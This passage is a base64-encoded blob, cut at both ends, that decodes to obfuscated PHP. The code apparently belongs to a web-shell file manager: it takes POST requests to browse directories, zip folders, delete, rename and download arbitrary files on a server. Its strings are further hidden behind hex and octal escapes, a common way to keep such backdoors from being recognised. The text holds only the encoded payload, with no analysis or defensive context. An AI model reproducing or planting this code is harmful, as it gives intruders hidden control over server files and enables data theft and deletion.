g2OVx4NzZcNDBcMTQzXHg2Y1x4NjFcMTYzXHg3M1w3NVw0MlwxNDVceDY0XDE1MVx4NzRceDVmXHg2MlwxNjRcMTU2XHgyMlw3Nlw3NFwxNTFcNDBceDY5XHg2NFw3NVx4MjJceDZmXDE2MFx4NjVcMTU2XHg0NFx4NjlceDcyXDQyXDQwXHg2NFx4NjFcMTY0XHg2MVx4MmRcMTQ0XDE1MVwxNjJcNzVceDIyXDU2XDQyXDQwXHg2M1x4NmNceDYxXDE2M1x4NzNcNzVceDIyXDE0NlwxNDFceDJkXDE1NFx4NjlceDY3XHg2OFwxNjRcNDBcMTQ2XDE0MVx4MmRcMTUwXHg2Zlx4NzVcMTYzXDE0NVw0Mlx4M2VcNzRceDJmXHg2OVw3Nlx4M2NceDY5XHgyMFx4NjlcMTQ0XHgzZFx4MjJcMTU3XDE2MFx4NjVcMTU2XDEwNFwxNTFcMTYyXHgyMlx4MjBceDY0XDE0MVx4NzRceDYxXHgyZFx4NjRceDY5XHg3Mlx4M2RceDIyIiAuICRkaXIgLiAiXHgyMlx4MjBceDYzXHg2Y1x4NjFcMTYzXDE2M1w3NVx4MjJcMTQ2XHg2MVw1NVwxNTRceDY5XDE0N1wxNTBceDc0XHgyMFx4NjZceDYxXDU1XHg3MlwxNTdceDc0XHg2MVwxNjRceDY1XHgyZFwxNTRceDY1XHg2NlwxNjRcNDJceDNlXDc0XDU3XHg2OVx4M2VceDNjXHgyZlx4NjRcMTUxXDE2Nlw3Nlw3NFw1N1x4NjRceDY5XDE2Nlw3NiI7IH0gZWxzZSB7ICRvdXRwdXQgPSAiXHgzY1wxNDRcMTUxXHg3Nlx4MjBceDYzXHg2Y1wxNDFceDczXHg3M1w3NVx4MjJceDY2XDE1NFx4NjVcMTcwXHgyMlx4M2VcNzRcMTQ0XHg2OVwxNjZcNDBceDYzXHg2Y1wxNDFcMTYzXDE2M1x4M2RceDIyXHg2Nlx4NmZceDZjXHg2NFx4NjVcMTYyXHg3M1w0Mlw0MFwxNTFcMTQ0XDc1XDQyXHg2Zlx4NzBcMTQ1XHg2ZVx4NDRcMTUxXHg3Mlw0Mlw0MFwxNDRcMTQxXHg3NFx4NjFceDJkXDE0NFwxNTFceDcyXHgzZFw0MiIgLiAkZGlyIC4gIlx4MjJceDNlXHgyZVx4MmZceDNjXDU3XHg2NFwxNTFcMTY2XDc2XDc0XHg2NFwxNTFceDc2XDQwXHg2M1x4NmNcMTQxXHg3M1x4NzNceDNkXHgyMlwxNDVcMTQ0XHg2OVwxNjRceDVmXDE0MlwxNjRcMTU2XHgyMlw3Nlx4M2NcMTUxXDQwXHg2OVwxNDRceDNkXHgyMlx4NmZcMTYwXHg2NVwxNTZcMTA0XHg2OVwxNjJcNDJcNDBceDY0XHg2MVwxNjRceDYxXDU1XHg2NFx4NjlcMTYyXHgzZFw0Mlw1Nlw0Mlx4MjBcMTQzXHg2Y1x4NjFceDczXHg3M1w3NVw0MlwxNDZcMTQxXHgyZFwxNTRcMTUxXHg2N1wxNTBceDc0XDQwXDE0Nlx4NjFcNTVceDY4XDE1N1x4NzVcMTYzXDE0NVw0Mlx4M2VcNzRcNTdcMTUxXDc2XHgzY1x4NjlcNDBceDY5XDE0NFx4M2RceDIyXHg2Zlx4NzBcMTQ1XDE1NlwxMDRceDY5XHg3Mlw0Mlw0MFx4NjRceDYxXDE2NFwxNDFceDJkXHg2NFwxNTFcMTYyXDc1XDQyIiAuICRkaXIgLiAiXDQyXDQwXDE0M1wxNTRcMTQxXDE2M1x4NzNcNzVcNDJceDY2XDE0MVx4MmRceDZjXDE1MVx4NjdcMTUwXHg3NFx4MjBceDY2XDE0MVx4MmRceDcyXHg2ZlwxNjRcMTQxXDE2NFwxNDVceDJkXHg2Y1x4NjVceDY2XDE2NFx4MjJceDNlXDc0XDU3XDE1MVw3Nlx4M2NceDJmXDE0NFx4NjlceDc2XHgzZVx4M2NceDJmXDE0NFwxNTFceDc2XHgzZSI7IH0gJG9wZW5lZERpciA9ICRkaXIgLiAiXDU3IjsgfSBlbHNlIHsgaWYgKGNoZWNrVW5kbygkZGlyKSkgeyAkdW5kb0RpciA9ICRkaXIgLiAiXDU2XHgyZVw1NyI7IGlmIChpc19kaXIoJHVuZG9EaXIpKSB7ICRvdXRwdXQgPSAiXDc0XDE0NFx4NjlceDc2XDQwXHg2M1wxNTRcMTQxXHg3M1wxNjNceDNkXDQyXDE0NlwxNTRcMTQ1XHg3OFx4MjJceDNlXDc0XHg2NFx4NjlceDc2XDQwXDE0M1wxNTRcMTQxXHg3M1wxNjNceDNkXDQyXDE0Nlx4NmZcMTU0XDE0NFx4NjVceDcyXHg3M1x4MjJcNDBceDY5XDE0NFw3NVx4MjJceDZmXDE2MFx4NjVcMTU2XHg0NFx4NjlcMTYyXDQyXDQwXHg2NFx4NjFcMTY0XDE0MVw1NVwxNDRcMTUxXDE2Mlw3NVw0MiIgLiAkdW5kb0RpciAuICJceDIyXDc2XDU2XDU2XDU3XDc0XHgyZlwxNDRcMTUxXHg3Nlw3Nlx4M2NcMTQ0XDE1MVwxNjZcNDBceDYzXHg2Y1wxNDFcMTYzXDE2M1w3NVw0MlwxNDVceDY0XDE1MVwxNjRceDVmXDE0Mlx4NzRceDZlXHgyMlx4M2VceDNjXHg2OVx4MjBcMTUxXDE0NFx4M2RceDIyXDE1N1wxNjBcMTQ1XDE1NlwxMDRcMTUxXHg3Mlw0Mlw0MFx4NjRcMTQxXHg3NFwxNDFcNTVceDY0XHg2OVx4NzJcNzVcNDJcNTZceDIyXHgyMFx4NjNceDZjXDE0MVwxNjNceDczXHgzZFx4MjJceDY2XDE0MVw1NVwxNTRceDY5XHg2N1wxNTBceDc0XHgyMFwxNDZcMTQxXHgyZFwxNTBcMTU3XHg3NVx4NzNceDY1XDQyXHgzZVx4M2NceDJmXHg2OVx4M2VcNzRceDY5XHgyMFx4NjlceDY0XHgzZFx4MjJceDZmXDE2MFx4NjVceDZlXDEwNFwxNTFcMTYyXDQyXDQwXDE0NFx4NjFceDc0XHg2MVx4MmRceDY0XHg2OVwxNjJceDNkXDQyIiAuICRkaXIgLiAiXHgyMlx4MjBceDYzXDE1NFwxNDFceDczXDE2M1x4M2RceDIyXHg2NlwxNDFcNTVcMTU0XHg2OVwxNDdceDY4XHg3NFx4MjBceDY2XDE0MVx4MmRcMTYyXHg2Zlx4NzRcMTQxXHg3NFx4NjVcNTVcMTU0XHg2NVwxNDZceDc0XDQyXDc2XDc0XHgyZlx4NjlcNzZceDNjXDU3XHg2NFwxNTFceDc2XDc2XHgzY1x4MmZceDY0XDE1MVx4NzZceDNlIjsgfSBlbHNlIHsgJG91dHB1dCA9ICJcNzRceDY0XHg2OVx4NzZceDIwXHg2M1x4NmNceDYxXHg3M1wxNjNcNzVcNDJceDY2XHg2Y1wxNDVcMTcwXHgyMlw3Nlw3NFwxNDRceDY5XDE2Nlx4MjBcMTQzXDE1NFx4NjFceDczXDE2M1w3NVx4MjJcMTQ2XDE1N1x4NmNcMTQ0XDE0NVx4NzJceDczXDQyXDQwXHg2OVwxNDRceDNkXHgyMlx4NmZcMTYwXHg2NVwxNTZcMTA0XDE1MVwxNjJcNDJcNDBceDY0XDE0MVx4NzRcMTQxXDU1XDE0NFx4NjlcMTYyXHgzZFw0MiIgLiAkZGlyIC4gIlw0Mlw3Nlx4MmVcNTdceDNjXDU3XHg2NFwxNTFcMTY2XHgzZVx4M2NceDY0XHg2OVwxNjZcNDBceDYzXDE1NFx4NjFceDczXDE2M1x4M2RcNDJceDY1XHg2NFwxNTFceDc0XHg1Zlx4NjJceDc0XDE1Nlw0Mlx4M2VcNzRceDY5XDQwXDE1MVx4NjRceDNkXHgyMlx4NmZcMTYwXHg2NVx4NmVceDQ0XDE1MVx4NzJcNDJcNDBceDY0XHg2MVx4NzRceDYxXHgyZFwxNDRceDY5XHg3Mlx4M2RcNDJcNTZcNDJceDIwXDE0M1x4NmNcMTQxXHg3M1wxNjNcNzVceDIyXDE0NlwxNDFceDJkXDE1NFx4NjlceDY3XHg2OFwxNjRceDIwXHg2NlwxNDFceDJkXHg2OFx4NmZceDc1XDE2M1wxNDVcNDJcNzZceDNjXHgyZlx4NjlcNzZceDNjXDE1MVx4MjBceDY5XDE0NFx4M2RceDIyXDE1N1wxNjBceDY1XDE1Nlx4NDRcMTUxXHg3Mlw0Mlx4MjBcMTQ0XHg2MVx4NzRceDYxXDU1XHg2NFx4NjlcMTYyXHgzZFw0MiIgLiAkZGlyIC4gIlw0Mlw0MFwxNDNceDZjXDE0MVwxNjNcMTYzXDc1XHgyMlx4NjZcMTQxXHgyZFx4NmNceDY5XHg2N1x4NjhcMTY0XDQwXHg2NlwxNDFceDJkXHg3MlwxNTdceDc0XHg2MVwxNjRceDY1XHgyZFwxNTRceDY1XDE0NlwxNjRcNDJcNzZceDNjXHgyZlwxNTFcNzZcNzRcNTdcMTQ0XDE1MVwxNjZceDNlXHgzY1w1N1x4NjRceDY5XDE2Nlw3NiI7IH0gJG9wZW5lZERpciA9ICRkaXI7IH0gZWxzZSB7ICRwYXJ0cyA9IGV4cGxvZGUoIlw1NyIsICRkaXIpOyAkbGFzdCA9IGFycmF5X3BvcCgkcGFydHMpOyAkdW5kb0RpciA9IGFycmF5KGltcGxvZGUoIlw1NyIsICRwYXJ0cyksICRsYXN0KTsgJG91dHB1dCA9ICJceDNjXHg2NFx4NjlceDc2XDQwXHg2M1wxNTRceDYxXDE2M1x4NzNceDNkXHgyMlwxNDZceDZjXDE0NVwxNzBceDIyXHgzZVx4M2NceDY0XDE1MVwxNjZceDIwXDE1MVwxNDRcNzVceDIyXHg2Zlx4NzBcMTQ1XHg2ZVwxMDRceDY5XDE2Mlx4MjJcNDBceDY0XDE0MVx4NzRceDYxXHgyZFwxNDRceDY5XDE2Mlw3NVx4MjIiIC4gJHVuZG9EaXJbMF0gLiAiXHgyMlw0MFwxNDNcMTU0XHg2MVx4NzNcMTYzXHgzZFx4MjJcMTQ2XHg2Zlx4NmNcMTQ0XHg2NVwxNjJceDczXHgyMlw3Nlx4MmVcNTZcNTdceDNjXDU3XDE0NFwxNTFceDc2XDc2XDc0XHg2NFwxNTFcMTY2XDQwXHg2M1x4NmNceDYxXHg3M1wxNjNceDNkXHgyMlx4NjVcMTQ0XDE1MVx4NzRceDVmXDE0Mlx4NzRceDZlXHgyMlw3Nlw3NFwxNTFcNDBcMTUxXDE0NFx4M2RceDIyXHg2Zlx4NzBcMTQ1XHg2ZVwxMDRcMTUxXDE2Mlx4MjJcNDBcMTQ0XDE0MVwxNjRceDYxXDU1XDE0NFx4NjlcMTYyXHgzZFx4MjJcNTZceDIyXHgyMFwxNDNceDZjXHg2MVx4NzNceDczXHgzZFx4MjJceDY2XHg2MVx4MmRcMTU0XDE1MVx4NjdceDY4XHg3NFw0MFwxNDZceDYxXHgyZFx4NjhceDZmXHg3NVwxNjNcMTQ1XDQyXDc2XHgzY1w1N1wxNTFcNzZceDNjXDE1MVx4MjBcMTUxXDE0NFw3NVx4MjJceDZmXDE2MFx4NjVcMTU2XHg0NFwxNTFcMTYyXHgyMlw0MFwxNDRcMTQxXDE2NFwxNDFcNTVcMTQ0XDE1MVwxNjJceDNkXDQyIiAuICRkaXIgLiAiXDQyXHgyMFwxNDNcMTU0XHg2MVx4NzNceDczXDc1XDQyXDE0NlwxNDFceDJkXDE1NFx4NjlcMTQ3XHg2OFx4NzRcNDBcMTQ2XDE0MVx4MmRcMTYyXHg2Zlx4NzRceDYxXDE2NFx4NjVceDJkXDE1NFx4NjVcMTQ2XHg3NFw0Mlx4M2VceDNjXDU3XDE1MVx4M2VcNzRceDJmXHg2NFwxNTFceDc2XHgzZVx4M2NcNTdcMTQ0XHg2OVwxNjZceDNlIjsgJG9wZW5lZERpciA9ICRkaXIgLiAiXHgyZiI7IH0gfSAkb3BlbkRpciA9ICcnOyAkdGl0bGVEaXIgPSAnJzsgJGV4cGxvZGVEaXIgPSBleHBsb2RlKCJcNTciLCAkb3BlbmVkRGlyKTsgZm9yICgkaSA9IDA7ICRpIDwgY291bnQoJGV4cGxvZGVEaXIpOyAkaSsrKSB7ICRvcGVuRGlyID0gJG9wZW5EaXIgLiAkZXhwbG9kZURpclskaV07ICRpaSA9ICRpICsgMTsgaWYgKCRpaSA9PSBjb3VudCgkZXhwbG9kZURpcikpIHsgJHNsYXNoID0gJyc7IH0gZWxzZSB7ICRzbGFzaCA9ICJcNTciOyB9ICR0aXRsZURpciA9ICR0aXRsZURpciAuICJcNzRcMTYzXHg3MFwxNDFcMTU2XHgyMFx4NjlceDY0XHgzZFx4MjJcMTU3XDE2MFx4NjVceDZlXDEwNFx4NjlceDcyXDQyXHgyMFx4NzNcMTY0XDE3MVwxNTRceDY1XDc1XHgyMlx4NjNceDc1XHg3Mlx4NzNceDZmXHg3Mlx4M2FcNDBcMTYwXDE1N1x4NjlceDZlXDE2NFwxNDVceDcyXDczXHgyMlx4MjBceDY0XDE0MVwxNjRceDYxXHgyZFx4NjRcMTUxXDE2Mlx4M2RceDIyIiAuICRvcGVuRGlyIC4gIlx4MjJceDNlIiAuICRleHBsb2RlRGlyWyRpXSAuICJceDNjXDU3XDE2M1wxNjBcMTQxXDE1Nlw3NiIgLiAkc2xhc2g7ICRvcGVuRGlyID0gJG9wZW5EaXIgLiAkc2xhc2g7IH0gJGZvbGRlcnMgPSBzY2FuZGlyKCRkaXIpOyBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7IGlmICgkZm9sZGVyID09PSAiXHgyZSIgb3IgJGZvbGRlciA9PT0gIlx4MmVceDJlIiBvciAkZm9sZGVyID09PSAiXDE2M1x4MmVceDcwXDE1MFwxNjAiKSB7IGNvbnRpbnVlOyB9IGVsc2UgeyBpZiAoY2hlY2tVbmRvKCRkaXIpKSB7ICRwYXRoID0gJGRpciAuICRmb2xkZXI7IH0gZWxzZSB7ICRwYXRoID0gJGRpciAuICJcNTciIC4gJGZvbGRlcjsgfSBpZiAoaXNfZmlsZSgkcGF0aCkpIHsgJG91dHB1dCAuPSAiXDc0XDE0NFwxNTFceDc2XHgyMFwxNDNceDZjXDE0MVwxNjNceDczXHgzZFx4MjJcMTQ2XHg2Y1wxNDVcMTcwXDQyXDc2XHgzY1wxNDRceDY5XHg3Nlw0MFwxNDNcMTU0XHg2MVx4NzNcMTYzXDc1XHgyMlwxNDZceDZmXDE1NFx4NjRceDY1XDE2MlwxNjNcNDJcNDBcMTUxXHg2NFw3NVx4MjJceDZmXDE2MFx4NjVceDZlXHg0Nlx4NjlcMTU0XDE0NVx4MjJcNDBcMTQ0XHg2MVx4NzRcMTQxXHgyZFwxNDZceDY5XDE1NFx4NjVcNzVceDIyIiAuICRwYXRoIC4gIlx4MjJcNzZceDNjXDE1MVx4MjBceDYzXHg2Y1wxNDFceDczXDE2M1w3NVw0Mlx4NjZcMTQxXDU1XDE1NFwxNTFceDY3XDE1MFwxNjRceDIwXDE0Nlx4NjFceDJkXHg2Nlx4NjlcMTU0XDE0NVw0Mlw3Nlx4M2NcNTdcMTUxXDc2XDQwIiAuICRmb2xkZXIgLiAiXDc0XDU3XHg2NFx4NjlcMTY2XDc2XDc0XHg2NFx4NjlceDc2XHgyMFx4NjlcMTQ0XHgzZFx4MjJceDZmXHg3MFx4NjVceDZlXHg0Y1wxNTFceDZlXHg2Ylx4MjJcNDBcMTQ0XHg2MVx4NzRcMTQxXDU1XHg3MFx4NjFceDc0XHg2OFx4M2RceDIyIiAuICRwYXRoIC4gIlw0Mlw0MFwxNDNceDZjXHg2MVwxNjNcMTYzXHgzZFw0MlwxNjNceDY5XDE3Mlx4NjVceDIyXHgzZSIgLiBmaWxlX3NpemUoJHBhdGgpIC4gIlx4M2NcNTdceDY0XHg2OVx4NzZcNzZceDNjXHg2NFx4NjlcMTY2XHgyMFx4NjNcMTU0XHg2MVx4NzNcMTYzXDc1XHgyMlwxNDVcMTQ0XDE1MVwxNjRceDVmXHg2MlwxNjRcMTU2XDQyXDc2XDQwXDc0XDE1MVw0MFwxNTFceDY0XHgzZFw0Mlx4NzJceDY1XHg2ZVwxNDFceDZkXDE0NVx4NDZcMTUxXDE1NFx4NjVcNDJceDIwXHg2NFx4NjFcMTY0XHg2MVw1NVx4NjRceDY5XHg3Mlw3NVx4MjIiIC4gJHBhdGggLiAiXDQyXHgyMFwxNDRceDYxXDE2NFx4NjFcNTVcMTU2XDE0MVwxNTVceDY1XHgzZFw0MiIgLiBHZXRfTmFtZSgkcGF0aCkgLiAiXHgyMlw0MFx4NjNceDZjXDE0MVx4NzNcMTYzXDc1XDQyXHg2Nlx4NjFcNTVceDZjXHg2OVwxNDdceDY4XHg3NFw0MFwxNDZceDYxXDU1XHg3MFx4NjVcMTU2XDU1XDE2NFx4NmZcNTVceDczXHg3MVwxNjVcMTQxXHg3MlwxNDVceDIyXHgzZVw3NFw1N1wxNTFceDNlXDc0XHg2OVw0MFwxNTFceDY0XHgzZFx4MjJcMTQ0XHg2NVx4NmNceDY1XHg3NFwxNDVcNDJceDIwXHg2NFx4NjFcMTY0XHg2MVx4MmRceDY0XDE1MVx4NzJceDNkXDQyIiAuICRwYXRoIC4gIlw0Mlw0MFx4NjNceDZjXHg2MVwxNjNcMTYzXDc1XDQyXDE0NlwxNDFcNTVcMTU0XDE1MVx4NjdceDY4XHg3NFx4MjBcMTQ2XHg2MVw1NVx4NzRceDcyXDE0MVwxNjNcMTUwXHgyMlx4M2VcNzRcNTdceDY5XDc2XDc0XHg2OVx4MjBcMTUxXDE0NFx4M2RcNDJcMTQ0XDE1N1x4NzdceDZlXHg2Y1wxNTdceDYxXDE0NFw0Mlx4MjBceDY0XDE0MVwxNjRcMTQxXHgyZFx4NjRceDY5XHg3Mlx4M2RceDIyIiAuICRwYXRoIC4gIlx4MjJceDIwXHg2M1x4NmNceDYxXHg3M1x4NzNceDNkXDQyXHg2NlwxNDFcNTVcMTU0XHg2OVwxNDdcMTUwXHg3NFx4MjBcMTQ2XDE0MVw1NVwxNDRceDZmXHg3N1x4NmVceDZjXHg2ZlwxNDFceDY0XDQyXDc2XHgzY1w1N1x4NjlcNzZceDNjXDU3XHg2NFwxNTFceDc2XDc2XDc0XDU3XDE0NFx4NjlceDc2XDc2IjsgfSBlbHNlIHsgJG91dHB1dCAuPSAiXDc0XHg2NFx4NjlcMTY2XHgyMFx4NjNcMTU0XDE0MVwxNjNceDczXDc1XDQyXHg2NlwxNTRceDY1XDE3MFw0Mlx4M2VcNzRceDY0XDE1MVwxNjZceDIwXHg2M1x4NmNcMTQxXDE2M1x4NzNceDNkXHgyMlx4NjZcMTU3XDE1NFx4NjRcMTQ1XHg3MlwxNjNceDIyXDQwXDE1MVwxNDRceDNkXDQyXDE1N1x4NzBcMTQ1XHg2ZVx4NDRcMTUxXDE2Mlx4MjJceDIwXDE0NFwxNDFcMTY0XDE0MVw1NVwxNDRceDY5XHg3Mlw3NVw0MiIgLiAkcGF0aCAuICJceDIyXHgzZVw3NFx4NjlceDIwXDE0M1wxNTRceDYxXDE2M1x4NzNcNzVceDIyXDE0NlwxNDFceDJkXDE1NFwxNTFcMTQ3XDE1MFwxNjRceDIwXDE0NlwxNDFcNTVceDY2XDE1N1x4NmNceDY0XDE0NVx4NzJcNDJcNzZceDNjXHgyZlwxNTFcNzZcNDAiIC4gJGZvbGRlciAuICJceDNjXHgyZlx4NjRceDY5XHg3Nlw3Nlw3NFx4NjRcMTUxXDE2Nlw0MFwxNTFcMTQ0XHgzZFw0MlwxNTdcMTYwXHg2NVx4NmVceDRjXHg2OVwxNTZcMTUzXDQyXHgyMFwxNDRceDYxXDE2NFx4NjFceDJkXHg3MFwxNDFceDc0XDE1MFw3NVw0MiIgLiAkcGF0aCAuICJcNDJceDIwXDE0M1wxNTRcMTQxXHg3M1x4NzNcNzVcNDJcMTYzXHg2OVx4N2FcMTQ1XDQyXHgzZSIgLiBmb2xkZXJfc2l6ZSgkcGF0aCkgLiAiXDc0XHgyZlx4NjRceDY5XHg3Nlx4M2VcNzRceDY0XHg2OVwxNjZceDIwXHg2M1x4NmNceDYxXHg3M1x4NzNcNzVceDIyXDE0NVx4NjRcMTUxXDE2NFwxMzdcMTQyXDE2NFwxNTZcNDJcNzZceDIwXHgzY1x4NjlceDIwXHg2OVwxNDRceDNkXHgyMlx4NzJcMTQ1XHg2ZVx4NjFceDZkXHg2NVwxMDZceDY5XDE1NFwxNDVceDIyXDQwXDE0NFx4NjFceDc0XDE0MVw1NVx4NjRcMTUxXDE2Mlw3NVx4MjIiIC4gJHBhdGggLiAiXDQyXDQwXHg2NFx4NjFceDc0XDE0MVw1NVwxNTZcMTQxXDE1NVx4NjVceDNkXHgyMiIgLiBHZXRfTmFtZSgkcGF0aCkgLiAiXHgyMlx4MjBcMTQzXDE1NFx4NjFceDczXHg3M1x4M2RcNDJceDY2XDE0MVx4MmRceDZjXHg2OVx4NjdceDY4XDE2NFw0MFx4NjZceDYxXHgyZFx4NzBcMTQ1XDE1Nlx4MmRceDc0XDE1N1x4MmRcMTYzXHg3MVx4NzVcMTQxXDE2Mlx4NjVcNDJcNzZcNzRceDJmXDE1MVx4M2VcNzRceDY5XDQwXHg2OVx4NjRcNzVceDIyXDE0NFx4NjVcMTU0XDE0NVx4NzRcMTQ1XHgyMlx4MjBceDY0XHg2MVwxNjRcMTQxXDU1XDE0NFwxNTFcMTYyXHgzZFx4MjIiIC4gJHBhdGggLiAiXHgyMlw0MFx4NjNcMTU0XDE0MVx4NzNcMTYzXHgzZFx4MjJceDY2XDE0MVw1NVwxNTRcMTUxXDE0N1x4NjhcMTY0XDQwXHg2NlwxNDFceDJkXHg3NFx4NzJceDYxXDE2M1wxNTBcNDJcNzZceDNjXDU3XHg2OVx4M2VcNzRceDY5XDQwXDE1MVwxNDRceDNkXHgyMlx4N2FceDY5XDE2MFwxMDRceDY5XDE2Mlw0Mlx4MjBcMTQ0XDE0MVwxNjRceDYxXHgyZFwxNDRceDY5XDE2Mlx4M2RcNDIiIC4gJHBhdGggLiAiXHgyMlw0MFwxNDNceDZjXDE0MVwxNjNcMTYzXHgzZFx4MjJceDY2XDE0MVx4MmRceDZjXDE1MVwxNDdcMTUwXHg3NFw0MFx4NjZceDYxXDU1XHg2NlwxNTFcMTU0XDE0NVx4MmRcMTcyXHg2OVx4NzBceDcwXDE0NVx4NzJcNDJceDNlXDc0XHgyZlwxNTFcNzZcNzRceDJmXHg2NFwxNTFceDc2XDc2XHgzY1x4MmZceDY0XDE1MVwxNjZceDNlIjsgfSB9IH0gJHJlc3VsdFsiXDE2M1wxNjVcMTQzXHg2M1wxNDVcMTYzXHg3MyJdID0gdHJ1ZTsgJHJlc3VsdFsiXDE0NFwxNDFceDc0XDE0MSJdID0gJG91dHB1dDsgJHJlc3VsdFsiXHg2NFwxNTFcMTYyIl0gPSAkdGl0bGVEaXI7IH0gZWxzZSB7IGlmICgkZGF0YSA9PSAiXDE3MlwxNTFceDcwXDEwNFwxNTFcMTYyIikgeyAkZGlyID0gJF9QT1NUWyJceDY0XDE1MVx4NzIiXTsgJHppcERpciA9ICRfUE9TVFsiXHg3YVwxNTFcMTYwXHg0NFwxNTFcMTYyIl07ICRwYXJ0cyA9IGV4cGxvZGUoIlx4MmYiLCAkemlwRGlyKTsgJGxhc3QgPSBhcnJheV9wb3AoJHBhcnRzKTsgJGZvbGRlciA9IGFycmF5KGltcGxvZGUoIlx4MmYiLCAkcGFydHMpLCAkbGFzdCk7IGlmIChjaGVja1VuZG8oJGRpcikpIHsgJHppcGZpbGUgPSAkZGlyIC4gJGZvbGRlclsxXSAuICJcNTZceDdhXHg2OVwxNjAiOyB9IGVsc2UgeyAkemlwZmlsZSA9ICRkaXIgLiAiXHgyZiIgLiAkZm9sZGVyWzFdIC4gIlw1Nlx4N2FcMTUxXHg3MCI7IH0gJHJvb3RQYXRoID0gcmVhbHBhdGgoJHppcERpcik7ICR6aXAgPSBuZXcgWmlwQXJjaGl2ZSgpOyAkemlwLT5vcGVuKCR6aXBmaWxlLCBaaXBBcmNoaXZlOjpDUkVBVEUgfCBaaXBBcmNoaXZlOjpPVkVSV1JJVEUpOyAkZmlsZXMgPSBuZXcgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcihuZXcgUmVjdXJzaXZlRGlyZWN0b3J5SXRlcmF0b3IoJHJvb3RQYXRoKSwgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcjo6TEVBVkVTX09OTFkpOyBmb3JlYWNoICgkZmlsZXMgYXMgJG5hbWUgPT4gJGZpbGUpIHsgaWYgKCEkZmlsZS0+aXNEaXIoKSkgeyAkZmlsZVBhdGggPSAkZmlsZS0+Z2V0UmVhbFBhdGgoKTsgJHJlbGF0aXZlUGF0aCA9IHN1YnN0cigkZmlsZVBhdGgsIHN0cmxlbigkcm9vdFBhdGgpICsgMSk7ICR6aXAtPmFkZEZpbGUoJGZpbGVQYXRoLCAkcmVsYXRpdmVQYXRoKTsgfSB9ICR6aXAtPmNsb3NlKCk7ICRyZXN1bHRbIlwxNjNcMTY1XHg2M1wxNDNcMTQ1XDE2M1wxNjMiXSA9IHRydWU7IH0gZWxzZSB7IGlmICgkZGF0YSA9PSAiXHg0NFx4NjVceDZjXHg2NVwxNjRcMTQ1IikgeyBEZWxldGUoJF9QT1NUWyJcMTA0XDE0NVwxNTRceDY1XHg3NFwxNDUiXSk7ICRyZXN1bHRbIlx4NzNceDc1XHg2M1wxNDNcMTQ1XHg3M1x4NzMiXSA9IHRydWU7IH0gZWxzZSB7IGlmICgkZGF0YSA9PSAiXHg0NFx4NmZceDc3XHg2ZVwxNTRcMTU3XDE0MVx4NjQiKSB7ICRmaWxlID0gJF9QT1NUWyJcMTQ2XDE1MVx4NmNcMTQ1XDEyMFwxNDFcMTY0XDE1MCJdOyBoZWFkZXIoIlx4NDNcMTU3XDE1NlwxNjRceDY1XHg2ZVx4NzRceDJkXDEwNFwxNDVcMTYzXHg2M1wxNjJceDY5XDE2MFwxNjRcMTUxXDE1N1wxNTZceDNhXHgyMFwxMDZceDY5XHg2Y1wxNDVceDIwXDEyNFx4NzJceDYxXDE1Nlx4NzNcMTQ2XDE0NVwxNjIiKTsgaGVhZGVyKCJceDQzXDE1N1x4NmVcMTY0XDE0NVwxNTZceDc0XDU1XHg1NFx4NzlceDcwXDE0NVw3Mlx4MjBcMTQxXHg3MFwxNjBcMTU0XHg2OVwxNDNcMTQxXHg3NFwxNTFceDZmXDE1Nlx4MmZcMTU3XHg2M1x4NzRcMTQ1XHg3NFw1NVx4NzNcMTY0XHg3MlwxNDVceDYxXDE1NSIpOyBoZWFkZXIoIlx4NDNcMTU3XHg2ZVx4NzRcMTQ1XHg2ZVx4NzRceDJkXHg0NFx4NjlcMTYzXHg3MFwxNTdceDczXDE1MVx4NzRcMTUxXDE1N1wxNTZceDNhXHgyMFwxNDFceDc0XHg3NFwxNDFcMTQzXDE1MFx4NmRcMTQ1XDE1Nlx4NzRceDNiXHgyMFwxNDZcMTUxXDE1NFwxNDVcMTU2XDE0MVx4NmRcMTQ1XHgzZCIgLiBiYXNlbmFtZSgkZmlsZSkpOyBoZWFkZXIoIlwxMDNceDZmXHg2ZVwxNjRcMTQ1XHg2ZVx4NzRceDJkXHg1NFx4NzJceDYxXHg2ZVx4NzNceDY2XHg2NVx4NzJcNTVcMTA1XHg2ZVx4NjNceDZmXHg2NFwxNTFceDZlXHg2N1x4M2FceDIwXDE0MlwxNTFceDZlXHg2MVx4NzJcMTcxIik7IGhlYWRlcigiXHg0NVx4NzhcMTYwXDE1MVx4NzJceDY1XHg3M1x4M2FcNDBcNjAiKTsgaGVhZGVyKCJcMTAzXHg2MVx4NjNceDY4XDE0NVw1NVx4NDNcMTU3XDE1NlwxNjRceDcyXHg2Zlx4NmNcNzJceDIwXDE1NVwxNjVcMTYzXHg3NFw1NVwxNjJcMTQ1XHg3Nlx4NjFcMTU0XDE1MVwxNDRceDYxXHg3NFx4NjUiKTsgaGVhZGVyKCJceDUwXDE2Mlx4NjFcMTQ3XDE1NVx4NjFceDNhXDQwXHg3MFx4NzVcMTQyXDE1NFwxNTFcMTQzIik7IGhlYWRlcigiXDEwM1x4NmZceDZlXHg3NFwxNDVceDZlXDE2NFx4MmRceDRjXHg2NVx4NmVcMTQ3XHg3NFx4NjhcNzJcNDAiIC4gZmlsZXNpemUoJGZpbGUpKTsgb2JfY2xlYW4oKTsgZmx1c2goKTsgcmVhZGZpbGUoJGZpbGUpOyBkaWU7IH0gZWxzZSB7IGlmICgkZGF0YSA9PSAiXDEyMlx4NjVceDZlXHg2MVx4NmRceDY1IikgeyAkcmVuYW1lRGlyID0gJF9QT1NUWyJcMTYyXHg2NVx4NmVceDYxXDE1NVx4NjVcMTA0XHg2OVwxNjIiXTsgJG5ld05hbWUgPSAkX1BPU1RbIlwxNTZceDY1XDE2N1wxMTZceDYxXDE1NVwxNDUiXTsgJHBhcnRzID0gZXhwbG9kZSgiXHgyZiIsICRyZW5hbWVEaXIpOyAkbGFzdCA9IGFycmF5X3BvcCgkcGFydHMpOyAkZGlyID0gYXJyYXkoaW1wbG9kZSgiXHgyZiIsICRwYXJ0cyksICRsYXN0KTsgJG5ld0RpciA9ICRkaXJbMF0gLiAiXDU3IiAuICRuZXdOYW1lOyBpZiAoaXNfZGlyKCRuZXdEaXIpID09PSB0cnVlKSB7ICRyZXN1bHRbIlwxNDRcMTQxXHg3NFx4NjEiXSA9ICJcNjIiOyB9IGVsc2UgeyBpZiAoaXNfZmlsZSgkbmV3RGlyKSA9PT0gdHJ1ZSkgeyAkcmVzdWx0WyJceDY0XHg2MVwxNjRceDYxIl0gPSAiXHgzMiI7IH0g